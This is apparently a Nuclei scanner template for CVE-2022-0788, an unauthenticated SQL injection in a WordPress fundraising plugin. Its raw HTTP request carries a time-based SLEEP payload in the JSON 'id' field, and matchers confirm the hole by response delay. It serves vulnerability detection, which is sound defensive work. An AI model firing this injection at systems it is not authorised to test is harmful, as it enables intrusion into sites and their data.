43 lines
1.5 KiB
YAML
43 lines
1.5 KiB
YAML
|
id: CVE-2022-0788
|
||
|
|
||
|
info:
|
||
|
name: WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi
|
||
|
author: theamanrawat
|
||
|
severity: critical
|
||
|
description: |
|
||
|
The WP Fundraising Donation and Crowdfunding Platform WordPress plugin before 1.5.0 does not sanitise and escape a parameter before using it in a SQL statement via one of it's REST route, leading to an SQL injection exploitable by unauthenticated users.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/fbc71710-123f-4c61-9796-a6a4fd354828
|
||
|
- https://wordpress.org/plugins/wp-fundraising-donation/
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0788
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
cvss-score: 9.8
|
||
|
cve-id: CVE-2022-0788
|
||
|
cwe-id: CWE-89
|
||
|
metadata:
|
||
|
verified: "true"
|
||
|
tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-fundraising-donation,unauth
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
@timeout: 15s
|
||
|
GET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
User-Agent: curl/7.79.1
|
||
|
Accept: */*
|
||
|
Content-Type: application/json
|
||
|
Content-Length: 87
|
||
|
Connection: close
|
||
|
|
||
|
{"id": "(SELECT 1 FROM (SELECT(SLEEP(6)))me)", "formid": "1", "type": "online_payment"}
|
||
|
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'duration>=6'
|
||
|
- 'status_code == 200'
|
||
|
- 'contains(content_type, "application/json")'
|
||
|
- 'contains(body, "Invalid payment.")'
|
||
|
condition: and
|